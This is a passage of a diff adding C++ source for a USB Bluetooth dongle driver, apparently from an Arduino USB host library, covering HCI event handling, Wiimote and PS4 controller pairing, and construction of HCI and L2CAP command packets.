     549 + }
     550 + 
     551 +#ifdef EXTRADEBUG
     552 + Notify(PSTR("\r\nClass of device: "), 0x80);
     553 + D_PrintHex<uint8_t > (classOfDevice[2], 0x80);
     554 + Notify(PSTR(" "), 0x80);
     555 + D_PrintHex<uint8_t > (classOfDevice[1], 0x80);
     556 + Notify(PSTR(" "), 0x80);
     557 + D_PrintHex<uint8_t > (classOfDevice[0], 0x80);
     558 +#endif
     559 + hci_set_flag(HCI_FLAG_INCOMING_REQUEST);
     560 + break;
     561 + 
     562 + case EV_PIN_CODE_REQUEST:
     563 + if(pairWithWii) {
     564 +#ifdef DEBUG_USB_HOST
     565 + Notify(PSTR("\r\nPairing with Wiimote"), 0x80);
     566 +#endif
     567 + hci_pin_code_request_reply();
     568 + } else if(btdPin != NULL) {
     569 +#ifdef DEBUG_USB_HOST
     570 + Notify(PSTR("\r\nBluetooth pin is set too: "), 0x80);
     571 + NotifyStr(btdPin, 0x80);
     572 +#endif
     573 + hci_pin_code_request_reply();
     574 + } else {
     575 +#ifdef DEBUG_USB_HOST
     576 + Notify(PSTR("\r\nNo pin was set"), 0x80);
     577 +#endif
     578 + hci_pin_code_negative_request_reply();
     579 + }
     580 + break;
     581 + 
     582 + case EV_LINK_KEY_REQUEST:
     583 +#ifdef DEBUG_USB_HOST
     584 + Notify(PSTR("\r\nReceived Key Request"), 0x80);
     585 +#endif
     586 + hci_link_key_request_negative_reply();
     587 + break;
     588 + 
     589 + case EV_AUTHENTICATION_COMPLETE:
     590 + if(!hcibuf[2]) { // Check if pairing was successful
     591 + if(pairWithWii && !connectToWii) {
     592 +#ifdef DEBUG_USB_HOST
     593 + Notify(PSTR("\r\nPairing successful with Wiimote"), 0x80);
     594 +#endif
     595 + connectToWii = true; // Used to indicate to the Wii service, that it should connect to this device
     596 + } else if(pairWithHIDDevice && !connectToHIDDevice) {
     597 +#ifdef DEBUG_USB_HOST
     598 + Notify(PSTR("\r\nPairing successful with HID device"), 0x80);
     599 +#endif
     600 + connectToHIDDevice = true; // Used to indicate to the BTHID service, that it should connect to this device
     601 + }
     602 + } else {
     603 +#ifdef DEBUG_USB_HOST
     604 + Notify(PSTR("\r\nPairing Failed: "), 0x80);
     605 + D_PrintHex<uint8_t > (hcibuf[2], 0x80);
     606 +#endif
     607 + hci_disconnect(hci_handle);
     608 + hci_state = HCI_DISCONNECT_STATE;
     609 + }
     610 + break;
     611 + /* We will just ignore the following events */
     612 + case EV_NUM_COMPLETE_PKT:
     613 + case EV_ROLE_CHANGED:
     614 + case EV_PAGE_SCAN_REP_MODE:
     615 + case EV_LOOPBACK_COMMAND:
     616 + case EV_DATA_BUFFER_OVERFLOW:
     617 + case EV_CHANGE_CONNECTION_LINK:
     618 + case EV_MAX_SLOTS_CHANGE:
     619 + case EV_QOS_SETUP_COMPLETE:
     620 + case EV_LINK_KEY_NOTIFICATION:
     621 + case EV_ENCRYPTION_CHANGE:
     622 + case EV_READ_REMOTE_VERSION_INFORMATION_COMPLETE:
     623 + break;
     624 +#ifdef EXTRADEBUG
     625 + default:
     626 + if(hcibuf[0] != 0x00) {
     627 + Notify(PSTR("\r\nUnmanaged HCI Event: "), 0x80);
     628 + D_PrintHex<uint8_t > (hcibuf[0], 0x80);
     629 + }
     630 + break;
     631 +#endif
     632 + } // Switch
     633 + }
     634 +#ifdef EXTRADEBUG
     635 + else {
     636 + Notify(PSTR("\r\nHCI event error: "), 0x80);
     637 + D_PrintHex<uint8_t > (rcode, 0x80);
     638 + }
     639 +#endif
     640 +}
     641 + 
     642 +/* Poll Bluetooth and print result */
     643 +void BTD::HCI_task() {
     644 + switch(hci_state) {
     645 + case HCI_INIT_STATE:
     646 + hci_counter++;
     647 + if(hci_counter > hci_num_reset_loops) { // wait until we have looped x times to clear any old events
     648 + hci_reset();
     649 + hci_state = HCI_RESET_STATE;
     650 + hci_counter = 0;
     651 + }
     652 + break;
     653 + 
     654 + case HCI_RESET_STATE:
     655 + hci_counter++;
     656 + if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {
     657 + hci_counter = 0;
     658 +#ifdef DEBUG_USB_HOST
     659 + Notify(PSTR("\r\nHCI Reset complete"), 0x80);
     660 +#endif
     661 + hci_state = HCI_CLASS_STATE;
     662 + hci_write_class_of_device();
     663 + } else if(hci_counter > hci_num_reset_loops) {
     664 + hci_num_reset_loops *= 10;
     665 + if(hci_num_reset_loops > 2000)
     666 + hci_num_reset_loops = 2000;
     667 +#ifdef DEBUG_USB_HOST
     668 + Notify(PSTR("\r\nNo response to HCI Reset"), 0x80);
     669 +#endif
     670 + hci_state = HCI_INIT_STATE;
     671 + hci_counter = 0;
     672 + }
     673 + break;
     674 + 
     675 + case HCI_CLASS_STATE:
     676 + if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {
     677 +#ifdef DEBUG_USB_HOST
     678 + Notify(PSTR("\r\nWrite class of device"), 0x80);
     679 +#endif
     680 + hci_state = HCI_BDADDR_STATE;
     681 + hci_read_bdaddr();
     682 + }
     683 + break;
     684 + 
     685 + case HCI_BDADDR_STATE:
     686 + if(hci_check_flag(HCI_FLAG_READ_BDADDR)) {
     687 +#ifdef DEBUG_USB_HOST
     688 + Notify(PSTR("\r\nLocal Bluetooth Address: "), 0x80);
     689 + for(int8_t i = 5; i > 0; i--) {
     690 + D_PrintHex<uint8_t > (my_bdaddr[i], 0x80);
     691 + Notify(PSTR(":"), 0x80);
     692 + }
     693 + D_PrintHex<uint8_t > (my_bdaddr[0], 0x80);
     694 +#endif
     695 + hci_read_local_version_information();
     696 + hci_state = HCI_LOCAL_VERSION_STATE;
     697 + }
     698 + break;
     699 + 
     700 + case HCI_LOCAL_VERSION_STATE: // The local version is used by the PS3BT class
     701 + if(hci_check_flag(HCI_FLAG_READ_VERSION)) {
     702 + if(btdName != NULL) {
     703 + hci_set_local_name(btdName);
     704 + hci_state = HCI_SET_NAME_STATE;
     705 + } else
     706 + hci_state = HCI_CHECK_DEVICE_SERVICE;
     707 + }
     708 + break;
     709 + 
     710 + case HCI_SET_NAME_STATE:
     711 + if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {
     712 +#ifdef DEBUG_USB_HOST
     713 + Notify(PSTR("\r\nThe name is set to: "), 0x80);
     714 + NotifyStr(btdName, 0x80);
     715 +#endif
     716 + hci_state = HCI_CHECK_DEVICE_SERVICE;
     717 + }
     718 + break;
     719 + 
     720 + case HCI_CHECK_DEVICE_SERVICE:
     721 + if(pairWithHIDDevice || pairWithWii) { // Check if it should try to connect to a Wiimote
     722 +#ifdef DEBUG_USB_HOST
     723 + if(pairWithWii)
     724 + Notify(PSTR("\r\nStarting inquiry\r\nPress 1 & 2 on the Wiimote\r\nOr press the SYNC button if you are using a Wii U Pro Controller or a Wii Balance Board"), 0x80);
     725 + else
     726 + Notify(PSTR("\r\nPlease enable discovery of your device"), 0x80);
     727 +#endif
     728 + hci_inquiry();
     729 + hci_state = HCI_INQUIRY_STATE;
     730 + } else
     731 + hci_state = HCI_SCANNING_STATE; // Don't try to connect to a Wiimote
     732 + break;
     733 + 
     734 + case HCI_INQUIRY_STATE:
     735 + if(hci_check_flag(HCI_FLAG_DEVICE_FOUND)) {
     736 + hci_inquiry_cancel(); // Stop inquiry
     737 +#ifdef DEBUG_USB_HOST
     738 + if(pairWithWii)
     739 + Notify(PSTR("\r\nWiimote found"), 0x80);
     740 + else
     741 + Notify(PSTR("\r\nHID device found"), 0x80);
     742 + 
     743 + Notify(PSTR("\r\nNow just create the instance like so:"), 0x80);
     744 + if(pairWithWii)
     745 + Notify(PSTR("\r\nWII Wii(&Btd);"), 0x80);
     746 + else
     747 + Notify(PSTR("\r\nBTHID bthid(&Btd);"), 0x80);
     748 + 
     749 + Notify(PSTR("\r\nAnd then press any button on the "), 0x80);
     750 + if(pairWithWii)
     751 + Notify(PSTR("Wiimote"), 0x80);
     752 + else
     753 + Notify(PSTR("device"), 0x80);
     754 +#endif
     755 + if(checkRemoteName) {
     756 + hci_remote_name(); // We need to know the name to distinguish between the Wiimote, the new Wiimote with Motion Plus inside, a Wii U Pro Controller and a Wii Balance Board
     757 + hci_state = HCI_REMOTE_NAME_STATE;
     758 + } else
     759 + hci_state = HCI_CONNECT_DEVICE_STATE;
     760 + }
     761 + break;
     762 + 
     763 + case HCI_CONNECT_DEVICE_STATE:
     764 + if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {
     765 +#ifdef DEBUG_USB_HOST
     766 + if(pairWithWii)
     767 + Notify(PSTR("\r\nConnecting to Wiimote"), 0x80);
     768 + else
     769 + Notify(PSTR("\r\nConnecting to HID device"), 0x80);
     770 +#endif
     771 + checkRemoteName = false;
     772 + hci_connect();
     773 + hci_state = HCI_CONNECTED_DEVICE_STATE;
     774 + }
     775 + break;
     776 + 
     777 + case HCI_CONNECTED_DEVICE_STATE:
     778 + if(hci_check_flag(HCI_FLAG_CONNECT_EVENT)) {
     779 + if(hci_check_flag(HCI_FLAG_CONNECT_COMPLETE)) {
     780 +#ifdef DEBUG_USB_HOST
     781 + if(pairWithWii)
     782 + Notify(PSTR("\r\nConnected to Wiimote"), 0x80);
     783 + else
     784 + Notify(PSTR("\r\nConnected to HID device"), 0x80);
     785 +#endif
     786 + hci_authentication_request(); // This will start the pairing with the Wiimote
     787 + hci_state = HCI_SCANNING_STATE;
     788 + } else {
     789 +#ifdef DEBUG_USB_HOST
     790 + Notify(PSTR("\r\nTrying to connect one more time..."), 0x80);
     791 +#endif
     792 + hci_connect(); // Try to connect one more time
     793 + }
     794 + }
     795 + break;
     796 + 
     797 + case HCI_SCANNING_STATE:
     798 + if(!connectToWii && !pairWithWii && !connectToHIDDevice && !pairWithHIDDevice) {
     799 +#ifdef DEBUG_USB_HOST
     800 + Notify(PSTR("\r\nWait For Incoming Connection Request"), 0x80);
     801 +#endif
     802 + hci_write_scan_enable();
     803 + waitingForConnection = true;
     804 + hci_state = HCI_CONNECT_IN_STATE;
     805 + }
     806 + break;
     807 + 
     808 + case HCI_CONNECT_IN_STATE:
     809 + if(hci_check_flag(HCI_FLAG_INCOMING_REQUEST)) {
     810 + waitingForConnection = false;
     811 +#ifdef DEBUG_USB_HOST
     812 + Notify(PSTR("\r\nIncoming Connection Request"), 0x80);
     813 +#endif
     814 + hci_remote_name();
     815 + hci_state = HCI_REMOTE_NAME_STATE;
     816 + } else if(hci_check_flag(HCI_FLAG_DISCONNECT_COMPLETE))
     817 + hci_state = HCI_DISCONNECT_STATE;
     818 + break;
     819 + 
     820 + case HCI_REMOTE_NAME_STATE:
     821 + if(hci_check_flag(HCI_FLAG_REMOTE_NAME_COMPLETE)) {
     822 +#ifdef DEBUG_USB_HOST
     823 + Notify(PSTR("\r\nRemote Name: "), 0x80);
     824 + for(uint8_t i = 0; i < strlen(remote_name); i++)
     825 + Notifyc(remote_name[i], 0x80);
     826 +#endif
     827 + if(strncmp((const char*)remote_name, "Nintendo", 8) == 0) {
     828 + incomingWii = true;
     829 + motionPlusInside = false;
     830 + wiiUProController = false;
     831 + pairWiiUsingSync = false;
     832 +#ifdef DEBUG_USB_HOST
     833 + Notify(PSTR("\r\nWiimote is connecting"), 0x80);
     834 +#endif
     835 + if(strncmp((const char*)remote_name, "Nintendo RVL-CNT-01-TR", 22) == 0) {
     836 +#ifdef DEBUG_USB_HOST
     837 + Notify(PSTR(" with Motion Plus Inside"), 0x80);
     838 +#endif
     839 + motionPlusInside = true;
     840 + } else if(strncmp((const char*)remote_name, "Nintendo RVL-CNT-01-UC", 22) == 0) {
     841 +#ifdef DEBUG_USB_HOST
     842 + Notify(PSTR(" - Wii U Pro Controller"), 0x80);
     843 +#endif
     844 + wiiUProController = motionPlusInside = pairWiiUsingSync = true;
     845 + } else if(strncmp((const char*)remote_name, "Nintendo RVL-WBC-01", 19) == 0) {
     846 +#ifdef DEBUG_USB_HOST
     847 + Notify(PSTR(" - Wii Balance Board"), 0x80);
     848 +#endif
     849 + pairWiiUsingSync = true;
     850 + }
     851 + }
     852 + if(classOfDevice[2] == 0 && classOfDevice[1] == 0x25 && classOfDevice[0] == 0x08 && strncmp((const char*)remote_name, "Wireless Controller", 19) == 0) {
     853 +#ifdef DEBUG_USB_HOST
     854 + Notify(PSTR("\r\nPS4 controller is connecting"), 0x80);
     855 +#endif
     856 + incomingPS4 = true;
     857 + }
     858 + if(pairWithWii && checkRemoteName)
     859 + hci_state = HCI_CONNECT_DEVICE_STATE;
     860 + else {
     861 + hci_accept_connection();
     862 + hci_state = HCI_CONNECTED_STATE;
     863 + }
     864 + }
     865 + break;
     866 + 
     867 + case HCI_CONNECTED_STATE:
     868 + if(hci_check_flag(HCI_FLAG_CONNECT_COMPLETE)) {
     869 +#ifdef DEBUG_USB_HOST
     870 + Notify(PSTR("\r\nConnected to Device: "), 0x80);
     871 + for(int8_t i = 5; i > 0; i--) {
     872 + D_PrintHex<uint8_t > (disc_bdaddr[i], 0x80);
     873 + Notify(PSTR(":"), 0x80);
     874 + }
     875 + D_PrintHex<uint8_t > (disc_bdaddr[0], 0x80);
     876 +#endif
     877 + if(incomingPS4)
     878 + connectToHIDDevice = true; // We should always connect to the PS4 controller
     879 + 
     880 + // Clear these flags for a new connection
     881 + l2capConnectionClaimed = false;
     882 + sdpConnectionClaimed = false;
     883 + rfcommConnectionClaimed = false;
     884 + 
     885 + hci_event_flag = 0;
     886 + hci_state = HCI_DONE_STATE;
     887 + }
     888 + break;
     889 + 
     890 + case HCI_DONE_STATE:
     891 + hci_counter++;
     892 + if(hci_counter > 1000) { // Wait until we have looped 1000 times to make sure that the L2CAP connection has been started
     893 + hci_counter = 0;
     894 + hci_state = HCI_SCANNING_STATE;
     895 + }
     896 + break;
     897 + 
     898 + case HCI_DISCONNECT_STATE:
     899 + if(hci_check_flag(HCI_FLAG_DISCONNECT_COMPLETE)) {
     900 +#ifdef DEBUG_USB_HOST
     901 + Notify(PSTR("\r\nHCI Disconnected from Device"), 0x80);
     902 +#endif
     903 + hci_event_flag = 0; // Clear all flags
     904 + 
     905 + // Reset all buffers
     906 + memset(hcibuf, 0, BULK_MAXPKTSIZE);
     907 + memset(l2capinbuf, 0, BULK_MAXPKTSIZE);
     908 + 
     909 + connectToWii = incomingWii = pairWithWii = false;
     910 + connectToHIDDevice = incomingHIDDevice = pairWithHIDDevice = checkRemoteName = false;
     911 + incomingPS4 = false;
     912 + 
     913 + hci_state = HCI_SCANNING_STATE;
     914 + }
     915 + break;
     916 + default:
     917 + break;
     918 + }
     919 +}
     920 + 
     921 +void BTD::ACL_event_task() {
     922 + uint16_t length = BULK_MAXPKTSIZE;
     923 + uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ BTD_DATAIN_PIPE ].epAddr, &length, l2capinbuf, pollInterval); // Input on endpoint 2
     924 + 
     925 + if(!rcode) { // Check for errors
     926 + if(length > 0) { // Check if any data was read
     927 + for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) {
     928 + if(btService[i])
     929 + btService[i]->ACLData(l2capinbuf);
     930 + }
     931 + }
     932 + }
     933 +#ifdef EXTRADEBUG
     934 + else if(rcode != hrNAK) {
     935 + Notify(PSTR("\r\nACL data in error: "), 0x80);
     936 + D_PrintHex<uint8_t > (rcode, 0x80);
     937 + }
     938 +#endif
     939 + for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)
     940 + if(btService[i])
     941 + btService[i]->Run();
     942 +}
     943 + 
     944 +/************************************************************/
     945 +/* HCI Commands */
     946 + 
     947 +/************************************************************/
     948 +void BTD::HCI_Command(uint8_t* data, uint16_t nbytes) {
     949 + hci_clear_flag(HCI_FLAG_CMD_COMPLETE);
     950 + pUsb->ctrlReq(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, bmREQ_HCI_OUT, 0x00, 0x00, 0x00, 0x00, nbytes, nbytes, data, NULL);
     951 +}
     952 + 
     953 +void BTD::hci_reset() {
     954 + hci_event_flag = 0; // Clear all the flags
     955 + hcibuf[0] = 0x03; // HCI OCF = 3
     956 + hcibuf[1] = 0x03 << 2; // HCI OGF = 3
     957 + hcibuf[2] = 0x00;
     958 + 
     959 + HCI_Command(hcibuf, 3);
     960 +}
     961 + 
     962 +void BTD::hci_write_scan_enable() {
     963 + hci_clear_flag(HCI_FLAG_INCOMING_REQUEST);
     964 + hcibuf[0] = 0x1A; // HCI OCF = 1A
     965 + hcibuf[1] = 0x03 << 2; // HCI OGF = 3
     966 + hcibuf[2] = 0x01; // parameter length = 1
     967 + if(btdName != NULL)
     968 + hcibuf[3] = 0x03; // Inquiry Scan enabled. Page Scan enabled.
     969 + else
     970 + hcibuf[3] = 0x02; // Inquiry Scan disabled. Page Scan enabled.
     971 + 
     972 + HCI_Command(hcibuf, 4);
     973 +}
     974 + 
     975 +void BTD::hci_write_scan_disable() {
     976 + hcibuf[0] = 0x1A; // HCI OCF = 1A
     977 + hcibuf[1] = 0x03 << 2; // HCI OGF = 3
     978 + hcibuf[2] = 0x01; // parameter length = 1
     979 + hcibuf[3] = 0x00; // Inquiry Scan disabled. Page Scan disabled.
     980 + 
     981 + HCI_Command(hcibuf, 4);
     982 +}
     983 + 
     984 +void BTD::hci_read_bdaddr() {
     985 + hci_clear_flag(HCI_FLAG_READ_BDADDR);
     986 + hcibuf[0] = 0x09; // HCI OCF = 9
     987 + hcibuf[1] = 0x04 << 2; // HCI OGF = 4
     988 + hcibuf[2] = 0x00;
     989 + 
     990 + HCI_Command(hcibuf, 3);
     991 +}
     992 + 
     993 +void BTD::hci_read_local_version_information() {
     994 + hci_clear_flag(HCI_FLAG_READ_VERSION);
     995 + hcibuf[0] = 0x01; // HCI OCF = 1
     996 + hcibuf[1] = 0x04 << 2; // HCI OGF = 4
     997 + hcibuf[2] = 0x00;
     998 + 
     999 + HCI_Command(hcibuf, 3);
     1000 +}
     1001 + 
     1002 +void BTD::hci_accept_connection() {
     1003 + hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE);
     1004 + hcibuf[0] = 0x09; // HCI OCF = 9
     1005 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1006 + hcibuf[2] = 0x07; // parameter length 7
     1007 + hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
     1008 + hcibuf[4] = disc_bdaddr[1];
     1009 + hcibuf[5] = disc_bdaddr[2];
     1010 + hcibuf[6] = disc_bdaddr[3];
     1011 + hcibuf[7] = disc_bdaddr[4];
     1012 + hcibuf[8] = disc_bdaddr[5];
     1013 + hcibuf[9] = 0x00; // Switch role to master
     1014 + 
     1015 + HCI_Command(hcibuf, 10);
     1016 +}
     1017 + 
     1018 +void BTD::hci_remote_name() {
     1019 + hci_clear_flag(HCI_FLAG_REMOTE_NAME_COMPLETE);
     1020 + hcibuf[0] = 0x19; // HCI OCF = 19
     1021 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1022 + hcibuf[2] = 0x0A; // parameter length = 10
     1023 + hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
     1024 + hcibuf[4] = disc_bdaddr[1];
     1025 + hcibuf[5] = disc_bdaddr[2];
     1026 + hcibuf[6] = disc_bdaddr[3];
     1027 + hcibuf[7] = disc_bdaddr[4];
     1028 + hcibuf[8] = disc_bdaddr[5];
     1029 + hcibuf[9] = 0x01; // Page Scan Repetition Mode
     1030 + hcibuf[10] = 0x00; // Reserved
     1031 + hcibuf[11] = 0x00; // Clock offset - low byte
     1032 + hcibuf[12] = 0x00; // Clock offset - high byte
     1033 + 
     1034 + HCI_Command(hcibuf, 13);
     1035 +}
     1036 + 
     1037 +void BTD::hci_set_local_name(const char* name) {
     1038 + hcibuf[0] = 0x13; // HCI OCF = 13
     1039 + hcibuf[1] = 0x03 << 2; // HCI OGF = 3
     1040 + hcibuf[2] = strlen(name) + 1; // parameter length = the length of the string + end byte
     1041 + uint8_t i;
     1042 + for(i = 0; i < strlen(name); i++)
     1043 + hcibuf[i + 3] = name[i];
     1044 + hcibuf[i + 3] = 0x00; // End of string
     1045 + 
     1046 + HCI_Command(hcibuf, 4 + strlen(name));
     1047 +}
     1048 + 
     1049 +void BTD::hci_inquiry() {
     1050 + hci_clear_flag(HCI_FLAG_DEVICE_FOUND);
     1051 + hcibuf[0] = 0x01;
     1052 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1053 + hcibuf[2] = 0x05; // Parameter Total Length = 5
     1054 + hcibuf[3] = 0x33; // LAP: Genera/Unlimited Inquiry Access Code (GIAC = 0x9E8B33) - see https://www.bluetooth.org/Technical/AssignedNumbers/baseband.htm
     1055 + hcibuf[4] = 0x8B;
     1056 + hcibuf[5] = 0x9E;
     1057 + hcibuf[6] = 0x30; // Inquiry time = 61.44 sec (maximum)
     1058 + hcibuf[7] = 0x0A; // 10 number of responses
     1059 + 
     1060 + HCI_Command(hcibuf, 8);
     1061 +}
     1062 + 
     1063 +void BTD::hci_inquiry_cancel() {
     1064 + hcibuf[0] = 0x02;
     1065 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1066 + hcibuf[2] = 0x00; // Parameter Total Length = 0
     1067 + 
     1068 + HCI_Command(hcibuf, 3);
     1069 +}
     1070 + 
     1071 +void BTD::hci_connect() {
     1072 + hci_connect(disc_bdaddr); // Use last discovered device
     1073 +}
     1074 + 
     1075 +void BTD::hci_connect(uint8_t *bdaddr) {
     1076 + hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE | HCI_FLAG_CONNECT_EVENT);
     1077 + hcibuf[0] = 0x05;
     1078 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1079 + hcibuf[2] = 0x0D; // parameter Total Length = 13
     1080 + hcibuf[3] = bdaddr[0]; // 6 octet bdaddr (LSB)
     1081 + hcibuf[4] = bdaddr[1];
     1082 + hcibuf[5] = bdaddr[2];
     1083 + hcibuf[6] = bdaddr[3];
     1084 + hcibuf[7] = bdaddr[4];
     1085 + hcibuf[8] = bdaddr[5];
     1086 + hcibuf[9] = 0x18; // DM1 or DH1 may be used
     1087 + hcibuf[10] = 0xCC; // DM3, DH3, DM5, DH5 may be used
     1088 + hcibuf[11] = 0x01; // Page repetition mode R1
     1089 + hcibuf[12] = 0x00; // Reserved
     1090 + hcibuf[13] = 0x00; // Clock offset
     1091 + hcibuf[14] = 0x00; // Invalid clock offset
     1092 + hcibuf[15] = 0x00; // Do not allow role switch
     1093 + 
     1094 + HCI_Command(hcibuf, 16);
     1095 +}
     1096 + 
     1097 +void BTD::hci_pin_code_request_reply() {
     1098 + hcibuf[0] = 0x0D; // HCI OCF = 0D
     1099 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1100 + hcibuf[2] = 0x17; // parameter length 23
     1101 + hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
     1102 + hcibuf[4] = disc_bdaddr[1];
     1103 + hcibuf[5] = disc_bdaddr[2];
     1104 + hcibuf[6] = disc_bdaddr[3];
     1105 + hcibuf[7] = disc_bdaddr[4];
     1106 + hcibuf[8] = disc_bdaddr[5];
     1107 + if(pairWithWii) {
     1108 + hcibuf[9] = 6; // Pin length is the length of the Bluetooth address
     1109 + if(pairWiiUsingSync) {
     1110 +#ifdef DEBUG_USB_HOST
     1111 + Notify(PSTR("\r\nPairing with Wii controller via SYNC"), 0x80);
     1112 +#endif
     1113 + for(uint8_t i = 0; i < 6; i++)
     1114 + hcibuf[10 + i] = my_bdaddr[i]; // The pin is the Bluetooth dongles Bluetooth address backwards
     1115 + } else {
     1116 + for(uint8_t i = 0; i < 6; i++)
     1117 + hcibuf[10 + i] = disc_bdaddr[i]; // The pin is the Wiimote's Bluetooth address backwards
     1118 + }
     1119 + for(uint8_t i = 16; i < 26; i++)
     1120 + hcibuf[i] = 0x00; // The rest should be 0
     1121 + } else {
     1122 + hcibuf[9] = strlen(btdPin); // Length of pin
     1123 + uint8_t i;
     1124 + for(i = 0; i < strlen(btdPin); i++) // The maximum size of the pin is 16
     1125 + hcibuf[i + 10] = btdPin[i];
     1126 + for(; i < 16; i++)
     1127 + hcibuf[i + 10] = 0x00; // The rest should be 0
     1128 + }
     1129 + 
     1130 + HCI_Command(hcibuf, 26);
     1131 +}
     1132 + 
     1133 +void BTD::hci_pin_code_negative_request_reply() {
     1134 + hcibuf[0] = 0x0E; // HCI OCF = 0E
     1135 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1136 + hcibuf[2] = 0x06; // parameter length 6
     1137 + hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
     1138 + hcibuf[4] = disc_bdaddr[1];
     1139 + hcibuf[5] = disc_bdaddr[2];
     1140 + hcibuf[6] = disc_bdaddr[3];
     1141 + hcibuf[7] = disc_bdaddr[4];
     1142 + hcibuf[8] = disc_bdaddr[5];
     1143 + 
     1144 + HCI_Command(hcibuf, 9);
     1145 +}
     1146 + 
     1147 +void BTD::hci_link_key_request_negative_reply() {
     1148 + hcibuf[0] = 0x0C; // HCI OCF = 0C
     1149 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1150 + hcibuf[2] = 0x06; // parameter length 6
     1151 + hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
     1152 + hcibuf[4] = disc_bdaddr[1];
     1153 + hcibuf[5] = disc_bdaddr[2];
     1154 + hcibuf[6] = disc_bdaddr[3];
     1155 + hcibuf[7] = disc_bdaddr[4];
     1156 + hcibuf[8] = disc_bdaddr[5];
     1157 + 
     1158 + HCI_Command(hcibuf, 9);
     1159 +}
     1160 + 
     1161 +void BTD::hci_authentication_request() {
     1162 + hcibuf[0] = 0x11; // HCI OCF = 11
     1163 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1164 + hcibuf[2] = 0x02; // parameter length = 2
     1165 + hcibuf[3] = (uint8_t)(hci_handle & 0xFF); //connection handle - low byte
     1166 + hcibuf[4] = (uint8_t)((hci_handle >> 8) & 0x0F); //connection handle - high byte
     1167 + 
     1168 + HCI_Command(hcibuf, 5);
     1169 +}
     1170 + 
     1171 +void BTD::hci_disconnect(uint16_t handle) { // This is called by the different services
     1172 + hci_clear_flag(HCI_FLAG_DISCONNECT_COMPLETE);
     1173 + hcibuf[0] = 0x06; // HCI OCF = 6
     1174 + hcibuf[1] = 0x01 << 2; // HCI OGF = 1
     1175 + hcibuf[2] = 0x03; // parameter length = 3
     1176 + hcibuf[3] = (uint8_t)(handle & 0xFF); //connection handle - low byte
     1177 + hcibuf[4] = (uint8_t)((handle >> 8) & 0x0F); //connection handle - high byte
     1178 + hcibuf[5] = 0x13; // reason
     1179 + 
     1180 + HCI_Command(hcibuf, 6);
     1181 +}
     1182 + 
     1183 +void BTD::hci_write_class_of_device() { // See http://bluetooth-pentest.narod.ru/software/bluetooth_class_of_device-service_generator.html
     1184 + hcibuf[0] = 0x24; // HCI OCF = 24
     1185 + hcibuf[1] = 0x03 << 2; // HCI OGF = 3
     1186 + hcibuf[2] = 0x03; // parameter length = 3
     1187 + hcibuf[3] = 0x04; // Robot
     1188 + hcibuf[4] = 0x08; // Toy
     1189 + hcibuf[5] = 0x00;
     1190 + 
     1191 + HCI_Command(hcibuf, 6);
     1192 +}
     1193 +/*******************************************************************
     1194 + * *
     1195 + * HCI ACL Data Packet *
     1196 + * *
     1197 + * buf[0] buf[1] buf[2] buf[3]
     1198 + * 0 4 8 11 12 16 24 31 MSB
     1199 + * .-+-+-+-+-+-+-+-|-+-+-+-|-+-|-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
     1200 + * | HCI Handle |PB |BC | Data Total Length | HCI ACL Data Packet
     1201 + * .-+-+-+-+-+-+-+-|-+-+-+-|-+-|-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
     1202 + *
     1203 + * buf[4] buf[5] buf[6] buf[7]
     1204 + * 0 8 16 31 MSB
     1205 + * .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
     1206 + * | Length | Channel ID | Basic L2CAP header
     1207 + * .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
     1208 + *
     1209 + * buf[8] buf[9] buf[10] buf[11]
     1210 + * 0 8 16 31 MSB
     1211 + * .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.
     1212 + * | Code | Identifier | Length | Control frame (C-frame)
     1213 + * .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-. (signaling packet format)
     1214 + */
     1215 +/************************************************************/
     1216 +/* L2CAP Commands */
     1217 + 
     1218 +/************************************************************/
     1219 +void BTD::L2CAP_Command(uint16_t handle, uint8_t* data, uint8_t nbytes, uint8_t channelLow, uint8_t channelHigh) {
     1220 + uint8_t buf[8 + nbytes];
     1221 + buf[0] = (uint8_t)(handle & 0xff); // HCI handle with PB,BC flag
     1222 + buf[1] = (uint8_t)(((handle >> 8) & 0x0f) | 0x20);
     1223 + buf[2] = (uint8_t)((4 + nbytes) & 0xff); // HCI ACL total data length
     1224 + buf[3] = (uint8_t)((4 + nbytes) >> 8);
     1225 + buf[4] = (uint8_t)(nbytes & 0xff); // L2CAP header: Length
     1226 + buf[5] = (uint8_t)(nbytes >> 8);
     1227 + buf[6] = channelLow;
     1228 + buf[7] = channelHigh;
     1229 + 
     1230 + for(uint16_t i = 0; i < nbytes; i++) // L2CAP C-frame
     1231 + buf[8 + i] = data[i];
     1232 + 
     1233 + uint8_t rcode = pUsb->outTransfer(bAddress, epInfo[ BTD_DATAOUT_PIPE ].epAddr, (8 + nbytes), buf);
     1234 + if(rcode) {
